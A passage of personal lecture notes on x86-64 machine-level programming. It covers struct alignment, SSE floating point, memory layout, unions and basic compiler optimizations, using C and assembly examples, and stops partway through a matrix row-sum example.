&lt;h3&gt;Allocation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Structure represented as block of memory
&lt;ul&gt;
&lt;li&gt;Big enough to hold all of the fields&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Fields ordered according to declaration
&lt;ul&gt;
&lt;li&gt;Even if another ordering could yield a more compact representation&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Compiler determines overall size + positions of fields
&lt;ul&gt;
&lt;li&gt;Machine-level program has no understanding of the structures in the source code&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Access&lt;/h3&gt;
&lt;h4&gt;Generating Pointer to Structure Member&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;struct rec {
  int a[4];
  size_t i;
  struct rec *next;
};

int *get_ap(struct rec *r, size_t idx) {
  return &amp;amp;r-&amp;gt;a[idx];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;leaq (%rdi, %rsi, 4), %rax
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.54y26bn705.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Offset of each structure member determined at compile time&lt;/li&gt;
&lt;li&gt;Compute as &lt;code&gt;r + 4*idx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Following Linked List&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;struct rec {
  int a[4];
  int i;
  struct rec *next;
};

void set_val(struct rec *r, int val) {
  while (r) {
    int i = r-&amp;gt;i;
    r-&amp;gt;a[i] = val;
    r = r-&amp;gt;next;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.L11:                        # loop:
  movslq 16(%rdi), %rax      # i = M[r + 16]
  movl %esi, (%rdi, %rax, 4) # M[r + 4*i] = val
  movq 24(%rdi), %rdi        # r = M[r + 24]
  testq %rdi, %rdi           # Test r
  jne .L11                   # if != 0 goto loop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3uv500dbuh.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Alignment&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;struct S1 {
  char c;
  int i[2];
  double v;
} *p;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Unaligned Data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175opnv4vk.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aligned Data
&lt;ul&gt;
&lt;li&gt;Primitive data type requires &lt;code&gt;K&lt;/code&gt; bytes&lt;/li&gt;
&lt;li&gt;Address must be multiple of &lt;code&gt;K&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Required on some machines; advised on x86-64&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5mo3ux8mbu.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Motivation for Aligning Data&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Memory accessed by (aligned) chunks of 4 or 8 bytes (system dependent)
&lt;ul&gt;
&lt;li&gt;Inefficient to load or store datum that spans quad word boundaries&lt;/li&gt;
&lt;li&gt;Virtual memory trickier when datum spans 2 pages&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compiler&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inserts gaps in structure to ensure correct alignment of fields&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Specific Cases of Alignment (x86-64)&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;1 byte: &lt;code&gt;char&lt;/code&gt;, ...
&lt;ul&gt;
&lt;li&gt;no restrictions on address&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2 bytes: &lt;code&gt;short&lt;/code&gt;, ...
&lt;ul&gt;
&lt;li&gt;lowest 1 bit of address must be $0_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;4 bytes: &lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;, ...
&lt;ul&gt;
&lt;li&gt;lowest 2 bits of address must be $00_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;8 bytes: &lt;code&gt;double&lt;/code&gt;, &lt;code&gt;long&lt;/code&gt;, &lt;code&gt;char *&lt;/code&gt;, ...
&lt;ul&gt;
&lt;li&gt;lowest 3 bits of address must be $000_{2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::important
If an address requires alignment to $2^{n}$ bytes, then its lowest $n$ bits must be $0$.
:::&lt;/p&gt;
&lt;h4&gt;Satisfying Alignment with Structures&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Within structure&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Must satisfy each element&apos;s alignment requirement&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Overall structure placement&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each structure has alignment requirement &lt;code&gt;K&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;K&lt;/code&gt; is largest alignment of any element&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Initial address &amp;amp; structure length must be multiples of &lt;code&gt;K&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Example&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct S2 {
  double v;
  int i[2];
  char c;
} *p;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8dx6316864.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Arrays of Structures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Overall structure length multiple of &lt;code&gt;K&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Satisfy alignment requirement for every element&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct S2 {
  double v;
  int i[2];
  char c;
} a[10];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6m4784tavb.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Accessing Array Elements&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Compute array offset &lt;code&gt;12*idx&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sizeof(S3)&lt;/code&gt;, including alignment spacers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Element &lt;code&gt;j&lt;/code&gt; is at offset 8 within structure&lt;/li&gt;
&lt;li&gt;Assembler gives offset &lt;code&gt;a+8&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Resolved during linking&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct S3 {
  short i;
  float v;
  short j;
} a[10];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175opphsk3.avif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;short get_j(int idx) {
  return a[idx].j;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;leaq   (%rdi, %rdi, 2), %rax # 3*idx
movzwl a+8(, %rax, 4), %eax
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Saving Space&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Put large data types first&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;struct S4 {
  char c;
  int i;
  char d;
} *p;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;struct S5 {
  int i;
  char c;
  char d;
} *p;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7i0onl94x5.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Floating Point&lt;/h2&gt;
&lt;h3&gt;x87 FP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Legacy, very ugly&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SSE3 FP&lt;/h3&gt;
&lt;h4&gt;XMM Registers&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh2pxhyar.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Scalar &amp;amp; SIMD Operations&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;SIMD (Single instruction, multiple data)&lt;/code&gt;, there are a ton of usage combinations, e.g.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;addss (ADD Scalar Single-Precision Floating-Point Values)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;addps (ADD Packed Single-Precision Floating-Point Values)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7snigsk2si.avif&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Basics&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Arguments passed in &lt;code&gt;%xmm0&lt;/code&gt;, &lt;code&gt;%xmm1&lt;/code&gt;, ...&lt;/li&gt;
&lt;li&gt;Result returned in &lt;code&gt;%xmm0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;All &lt;code&gt;XMM&lt;/code&gt; registers caller-saved&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;float fadd(float x, float y) {
  return x + y;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;addss %xmm1, %xmm0
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;double dadd(double x, double y) {
  return x + y;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;addsd %xmm1, %xmm0
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Memory Referencing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Integer (and pointer) arguments passed in regular registers&lt;/li&gt;
&lt;li&gt;Floating Point values passed in &lt;code&gt;XMM&lt;/code&gt; registers&lt;/li&gt;
&lt;li&gt;Different &lt;code&gt;mov&lt;/code&gt; instructions to move between &lt;code&gt;XMM&lt;/code&gt; registers, and between memory and &lt;code&gt;XMM&lt;/code&gt; registers&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;double dincr(double *p, double v) {
  double x = *p;
  *p = x + v;
  return x;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;movapd %xmm0, %xmm1 # Copy v
movsd (%rdi), %xmm0 # x = *p
addsd %xmm0, %xmm1  # t = x + v
movsd %xmm1, (%rdi) # *p = t
ret
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;movapd (Move Aligned Packed Double-Precision Floating-Point Values)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Other Aspects of Floating Point Instructions&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Lots of instructions
&lt;ul&gt;
&lt;li&gt;Different operations, different formats, ...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Floating-point comparisons
&lt;ul&gt;
&lt;li&gt;Instructions &lt;code&gt;ucomiss (Unordered Compare Scalar Single-Precision)&lt;/code&gt; and &lt;code&gt;ucomisd (Unordered Compare Scalar Double-Precision)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Set condition codes &lt;code&gt;CF&lt;/code&gt;, &lt;code&gt;ZF&lt;/code&gt;, and &lt;code&gt;PF&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Using constant values
&lt;ul&gt;
&lt;li&gt;Set &lt;code&gt;XMM0&lt;/code&gt; register to 0 with instruction &lt;code&gt;xorpd %xmm0, %xmm0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Others loaded from memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;AVX FP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Newest version&lt;/li&gt;
&lt;li&gt;Similar to SSE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Floating Point assembly instruction sets are very nasty, though it&apos;s principle thought is simple. So I am just skipping this chapter as TODO. Bro really don&apos;t want learn this chapter...&lt;/p&gt;
&lt;h2&gt;Memory Layout&lt;/h2&gt;
&lt;h3&gt;x86-64 Linux Memory Layout&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Stack
&lt;ul&gt;
&lt;li&gt;Runtime stack (8MB limit, check by &lt;code&gt;limit&lt;/code&gt; command)&lt;/li&gt;
&lt;li&gt;E.g., local variables&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Heap
&lt;ul&gt;
&lt;li&gt;Dynamically allocated as needed&lt;/li&gt;
&lt;li&gt;When call &lt;code&gt;malloc()&lt;/code&gt;, &lt;code&gt;calloc()&lt;/code&gt;, &lt;code&gt;new()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Data
&lt;ul&gt;
&lt;li&gt;Statically allocated data&lt;/li&gt;
&lt;li&gt;E.g., global vars, &lt;code&gt;static&lt;/code&gt; vars, string constants&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Text / Shared Libraries
&lt;ul&gt;
&lt;li&gt;Executable machine instructions&lt;/li&gt;
&lt;li&gt;Read-only&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkalfi3x6.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;:::tip
In common, the canonical address range in x86-64 is 47 bits address. That is why the maximum address show as &lt;code&gt;0x00007FFFFFFFFFFF&lt;/code&gt;.
:::&lt;/p&gt;
&lt;h2&gt;Unions&lt;/h2&gt;
&lt;h3&gt;Allocation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Allocate according to largest element&lt;/li&gt;
&lt;li&gt;Can only use one field at a time&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;union U1 {
  char c;
  int i[2];
  double v;
} *up;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7w74exlpis.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct S1 {
  char c;
  int i[2];
  double v;
} *sp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7lkals7ft7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;Program Optimization&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;There&apos;s more to performance than asymptotic complexity&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Must optimize at multiple levels: algorithm, data representations, procedures, and loops&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Optimizing Compilers&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Provide efficient mapping of program to machine
&lt;ul&gt;
&lt;li&gt;register allocation&lt;/li&gt;
&lt;li&gt;code selection and ordering (scheduling)&lt;/li&gt;
&lt;li&gt;dead code elimination&lt;/li&gt;
&lt;li&gt;eliminating minor inefficiencies&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Don&apos;t (usually) improve asymptotic efficiency
&lt;ul&gt;
&lt;li&gt;up to programmer to select best overall algorithm&lt;/li&gt;
&lt;li&gt;Big-O savings are (often) more important than constant factors
&lt;ul&gt;
&lt;li&gt;but constant factors also matter&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Have difficulty overcoming &quot;optimization blockers&quot;
&lt;ul&gt;
&lt;li&gt;potential memory aliasing&lt;/li&gt;
&lt;li&gt;potential procedure side-effects&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Limitations of Optimizing Compilers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Operate under fundamental constraint
&lt;ul&gt;
&lt;li&gt;Must not cause any change in program behavior
&lt;ul&gt;
&lt;li&gt;Except, possibly when program making use of nonstandard language features&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Often prevents it from making optimizations that would only affect behavior under pathological conditions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Behavior that may be obvious to the programmer can be obfuscated by languages and coding styles
&lt;ul&gt;
&lt;li&gt;E.g., Data ranges may be more limited than variable types suggest&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Most analysis is performed only within procedures
&lt;ul&gt;
&lt;li&gt;Whole-program analysis is too expensive in most cases&lt;/li&gt;
&lt;li&gt;Newer versions of GCC do interprocedural analysis within individual files
&lt;ul&gt;
&lt;li&gt;But, not between code in different files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Most analysis is based only on static information
&lt;ul&gt;
&lt;li&gt;Compiler has difficulty anticipating run-time inputs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When in doubt, the compiler must be conservative&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Generally Useful Optimizations&lt;/h3&gt;
&lt;p&gt;Optimizations that you or the compiler should do regardless of processor / compiler&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Code Motion
&lt;ul&gt;
&lt;li&gt;Reduce frequency with which computation performed
&lt;ul&gt;
&lt;li&gt;If it will always produce same result&lt;/li&gt;
&lt;li&gt;Especially moving code out of loop&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void set_row(double *a, double *b, long i, long n) {
  long j;
  for (j = 0; j &amp;lt; n; j++)
    a[n*i+j] = b[j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;void set_row(double *a, double *b, long i, long n) {
  long j;
  int ni = n*i;
  for (j = 0; j &amp;lt; n; j++)
    a[ni+j] = b[j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Compiler-Generated Code Motion (-O1)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void set_row(double *a, double *b, long i, long n) {
  long j;
  for (j = 0; j &amp;lt; n; j++)
    a[n*i+j] = b[j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;set_row:
  testq %rcx, %rcx             # Test n
  jle .L1                      # If 0, goto done
  imulq %rcx, %rdx             # ni = n*i
  leaq (%rdi , %rdx, 8), %rdx  # rowp = A + ni*8
  movl $0, %eax                # j = 0
.L3:                           # loop:
  movsd (%rsi, %rax, 8), %xmm0 # t = b[j]
  movsd %xmm0, (%rdx, %rax, 8) # M[A + ni*8 + j*8] = t
  addq $1, %rax                # j++
  cmpq %rcx, %rax              # j:n
  jne .L3                      # if !=, goto loop
.L1:                           # done:
  rep ; ret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To the C code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void set_row(double *a, double *b, long i, long n) {
  long j;
  long ni = n*i;
  double *rowp = a+ni;
  for (j = 0; j &amp;lt; n; j++)
    *rowp++ = b[j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Reduction in Strength&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Replace costly operation with simpler one&lt;/li&gt;
&lt;li&gt;Shift, add instead of multiply or divide
&lt;ul&gt;
&lt;li&gt;Utility machine dependent&lt;/li&gt;
&lt;li&gt;Depends on cost of multiply or divide instruction&lt;/li&gt;
&lt;li&gt;Recognize sequence of products&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for (i = 0; i &amp;lt; n; i++) {
  int ni = n*i;
  for (j = 0; j &amp;lt; n; j++)
    a[ni + j] = b[j];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;int ni = 0;
for (i = 0; i &amp;lt; n; i++) {
  for (j = 0; j &amp;lt; n; j++)
    a[ni + j] = b[j];
  ni += n;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Share Common Subexpressions&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Reuse portions of expressions&lt;/li&gt;
&lt;li&gt;GCC will do this with &lt;code&gt;–O1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;up = val[(i-1)*n + j ];
down = val[(i+1)*n + j ];
left = val[i*n + j-1];
right = val[i*n + j+1];
sum = up + down + left + right;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;leaq 1(%rsi), %rax # i+1
leaq -1(%rsi), %r8 # i-1
imulq %rcx, %rsi   # i*n
imulq %rcx, %rax   # (i+1)*n
imulq %rcx, %r8    # (i-1)*n
addq %rdx, %rsi    # i*n+j
addq %rdx, %rax    # (i+1)*n+j
addq %rdx, %r8     # (i-1)*n+j
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;3 multiplications: &lt;code&gt;i*n&lt;/code&gt;, &lt;code&gt;(i–1)*n&lt;/code&gt;, &lt;code&gt;(i+1)*n&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;long inj = i*n + j;
up = val[inj - n];
down = val[inj + n];
left = val[inj - 1];
right = val[inj + 1];
sum = up + down + left + right;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;imulq %rcx, %rsi        # i*n
addq %rdx, %rsi         # i*n+j
movq %rsi, %rax         # i*n+j
subq %rcx, %rax         # i*n+j-n
leaq (%rsi, %rcx), %rcx # i*n+j+n
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;1 multiplication: &lt;code&gt;i*n&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Optimization Blockers&lt;/h2&gt;
&lt;p&gt;:::note
I&apos;m just skipping this chapter, so the notes are seems disordered. Will retake this chapter later.
:::&lt;/p&gt;
&lt;h3&gt;Optimization Blocker: Procedure Calls&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;void lower(char *s) {
  size_t i;
  for (i = 0; i &amp;lt; strlen(s); i++)
    if (s[i] &amp;gt;= &apos;A&apos; &amp;amp;&amp;amp; s[i] &amp;lt;= &apos;Z&apos;)
      s[i] -= (&apos;A&apos; - &apos;a&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strlen&lt;/code&gt; executed every iteration&lt;/li&gt;
&lt;li&gt;Time quadruples when double string length&lt;/li&gt;
&lt;li&gt;Quadratic performance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yeqz6j6zd.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Calling strlen&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/* My version of strlen */
size_t strlen(const char *s) {
  size_t length = 0;
  while (*s != &apos;\0&apos;) {
    s++;
    length++;
  }
  return length;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;strlen performance
&lt;ul&gt;
&lt;li&gt;Only way to determine length of string is to scan its entire length, looking for null character&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Overall performance, string of length N
&lt;ul&gt;
&lt;li&gt;N calls to strlen&lt;/li&gt;
&lt;li&gt;Require times &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;N-1&lt;/code&gt;, &lt;code&gt;N‐2&lt;/code&gt;, ..., &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Overall $O(N^{2})$ performance&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Improving Performance&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void lower(char *s) {
  size_t i;
  size_t len = strlen(s);
  for (i = 0; i &amp;lt; len; i++)
    if (s[i] &amp;gt;= &apos;A&apos; &amp;amp;&amp;amp; s[i] &amp;lt;= &apos;Z&apos;)
      s[i] -= (&apos;A&apos; - &apos;a&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Move call to &lt;code&gt;strlen&lt;/code&gt; outside of loop&lt;/li&gt;
&lt;li&gt;Since result does not change from one iteration to another&lt;/li&gt;
&lt;li&gt;Form of code motion&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Improved Lower Case Conversion Performance&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.67xriorxa3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Why couldn&apos;t compiler move strlen out of inner loop ?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Procedure may have side effects
&lt;ul&gt;
&lt;li&gt;Alters global state each time called&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Function may not return same value for given arguments
&lt;ul&gt;
&lt;li&gt;Depends on other parts of global state&lt;/li&gt;
&lt;li&gt;Procedure lower could interact with &lt;code&gt;strlen&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Warning
&lt;ul&gt;
&lt;li&gt;Compiler treats procedure call as a black box&lt;/li&gt;
&lt;li&gt;Weak optimizations near them&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Remedies
&lt;ul&gt;
&lt;li&gt;Use of inline functions
&lt;ul&gt;
&lt;li&gt;GCC does this with &lt;code&gt;–O1&lt;/code&gt; within single file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Do your own code motion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Memory Matters&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* Sum rows is of n X n matrix a
   and store in vector b */
void sum_rows1(double *a, double *b, long n) {
  long i, j;
  for (i = 0; i &amp;lt; n; i++) {
    b[i] = 0;
    for (j = 0; j &amp;lt; n; j++)
      b[i] += a[i*n + j];
  }
}
